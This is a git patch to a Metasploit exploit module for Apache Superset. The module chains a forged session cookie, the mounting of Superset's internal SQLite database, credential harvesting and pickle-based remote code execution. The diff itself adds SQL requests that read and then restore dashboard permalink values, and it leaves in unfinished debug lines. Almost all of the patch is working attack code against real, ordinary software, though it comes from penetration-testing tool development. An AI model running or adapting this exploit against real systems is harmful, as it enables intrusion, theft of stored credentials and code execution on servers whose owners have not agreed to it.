From 0c418fdf658d99021e287803124a14afd8ccf1a0 Mon Sep 17 00:00:00 2001 From: h00die Date: Thu, 14 Sep 2023 14:28:29 -0400 Subject: [PATCH] still working on resetting values --- .../http/apache_superset_cookie_sig_rce.rb | 111 +++++++++++++++--- 1 file changed, 97 insertions(+), 14 deletions(-) diff --git a/modules/exploits/linux/http/apache_superset_cookie_sig_rce.rb b/modules/exploits/linux/http/apache_superset_cookie_sig_rce.rb index e73ad1e4704e..88992661b0f4 100644 --- a/modules/exploits/linux/http/apache_superset_cookie_sig_rce.rb +++ b/modules/exploits/linux/http/apache_superset_cookie_sig_rce.rb @@ -32,7 +32,7 @@ def initialize(info = {}) ['EDB', '51447'], ['CVE', '2023-27524'], # flask cookie ['CVE', '2023-37941'], # rce - ['CVE', '2023_39265'] # mount superset's internal database + ['CVE', '2023-39265'] # mount superset's internal database ], 'Platform' => ['python'], 'Privileged' => false, @@ -177,9 +177,9 @@ def login_and_priv_esc def set_query_latest_query_id vprint_status('Setting latest query id') - client_id = Rex::Text.rand_text_alphanumeric(8, 12) + @client_id = Rex::Text.rand_text_alphanumeric(8, 12) data = Rex::MIME::Message.new - data.add_part('"' + client_id + '"', nil, nil, 'form-data; name="latest_query_id"') + data.add_part('"' + @client_id + '"', nil, nil, 'form-data; name="latest_query_id"') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'tabstateview', @tab_id), @@ -194,8 +194,6 @@ def set_query_latest_query_id ) fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200 - - client_id end def transform_hash(hash) @@ -231,7 +229,7 @@ def transform_hash(hash) jtr_password end - def cve_2023_39265 + def mount_internal_database # use cve-2023-39265 bypass to mount superset's internal sqlite db res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'database/'), @@ -303,7 +301,7 @@ def cve_2023_39265 print_good("Using tab: #{@tab_id}") # tell it we're about to submit a new query - client_id = set_query_latest_query_id + set_query_latest_query_id # harvest creds vprint_status('Harvesting superset user creds') @@ -318,7 +316,7 @@ def cve_2023_39265 'X-CSRFToken' => @csrf_token }, 'data' => { - 'client_id' => client_id, + 'client_id' => @client_id, 'database_id' => @db_id, 'json' => true, 'runAsync' => false, @@ -371,7 +369,7 @@ def cve_2023_39265 print_good(creds_table.to_s) end - def cve_2023_37941 + def rce_implant # create new dashboard vprint_status('Creating new dashboard') res = send_request_cgi( @@ -408,8 +406,53 @@ def cve_2023_37941 permalink_key = res.get_json_document['key'] print_good("Dashboard permalink key: #{permalink_key}") + # grab the default values so we can unset them later + vprint_status('Grabbing values to reset later') + set_query_latest_query_id + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'superset', 'sql_json/'), + 'method' => 'POST', + 'cookie' => "session=#{@admin_cookie};", + 'keep_cookies' => true, + 'ctype' => 'application/json', + 'headers' => { + 'Accept' => 'application/json', + 'X-CSRFToken' => @csrf_token + }, + 'data' => { + 'client_id' => @client_id, + 'database_id' => @db_id, + 'json' => true, + 'runAsync' => false, + 'schema' => 'main', + 'sql' => "SELECT id,value from key_value where resource='dashboard_permalink';", + 'sql_editor_id' => '1', + 'tab' => 'Untitled Query 1', + 'tmp_table_name' => '', + 'select_as_cta' => false, + 'ctas_method' => 'TABLE', + 'queryLimit' => 1000, + 'expand_data' => true + }.to_json + ) + + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200 + + # in the GUI we would get [bytes] (even in the JSON response) so this isn't very convenient. We can use the CSV + # output to grab the correct values. + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'superset', 'csv', @client_id), + 'cookie' => "session=#{@admin_cookie};", + 'keep_cookies' => true + ) + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200 + + @values_to_reset = CSV.parse(res.body) + # tell it we're about to submit a new query - client_id = set_query_latest_query_id + set_query_latest_query_id # Here's the python of the payload pickle generator # import pickle @@ -445,7 +488,7 @@ def cve_2023_37941 'X-CSRFToken' => @csrf_token }, 'data' => { - 'client_id' => client_id, + 'client_id' => @client_id, 'database_id' => @db_id, 'json' => true, 'runAsync' => false, @@ -480,6 +523,7 @@ def cve_2023_37941 end # 404 error and we win. + # log item: 172.17.0.1 - - [14/Sep/2023:17:37:25 +0000] "GET /superset/dashboard/p/MzABePa5XYd/ HTTP/1.1" 404 38 "-" "Mozilla/5.0 (iPad; CPU OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Mobile/15E148 Safari/604.1" end def exploit @@ -493,14 +537,53 @@ def exploit vprint_status('Attempting login') login_and_priv_esc vprint_status('Attempting to pull user creds from db') - cve_2023_39265 + mount_internal_database vprint_status('Attempting RCE') - cve_2023_37941 + rce_implant end def cleanup super - # unset keyvalue, prob can't do.... but maybe we just blank it out XXX + + # We didn't know the previous values, so just blank out + unless (@client_id.nil? || @csrf_token.nil? || @db_id.nil? || @values_to_reset.nil?) + print_status('Unsetting RCE Payload') + @values_to_reset.each do |row| + next if row[0] == 'id' # headers + + set_query_latest_query_id + puts row[0] + puts row[1] + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'superset', 'sql_json/'), + 'method' => 'POST', + 'cookie' => "session=#{@admin_cookie};", + 'keep_cookies' => true, + 'ctype' => 'application/json', + 'headers' => { + 'Accept' => 'application/json', + 'X-CSRFToken' => @csrf_token + }, + 'data' => { + 'client_id' => @client_id, + 'database_id' => @db_id, + 'json' => true, + 'runAsync' => false, + 'schema' => 'main', + 'sql' => "UPDATE key_value set value='#{row[1]}' where id='#{row[0]}';", + 'sql_editor_id' => '1', + 'tab' => 'Untitled Query 1', + 'tmp_table_name' => '', + 'select_as_cta' => false, + 'ctas_method' => 'TABLE', + 'queryLimit' => 1000, + 'expand_data' => true + }.to_json + ) + end + end + + return # XXX remove me # delete dashboard unless @dashboard_id.nil? print_status('Deleting dashboard')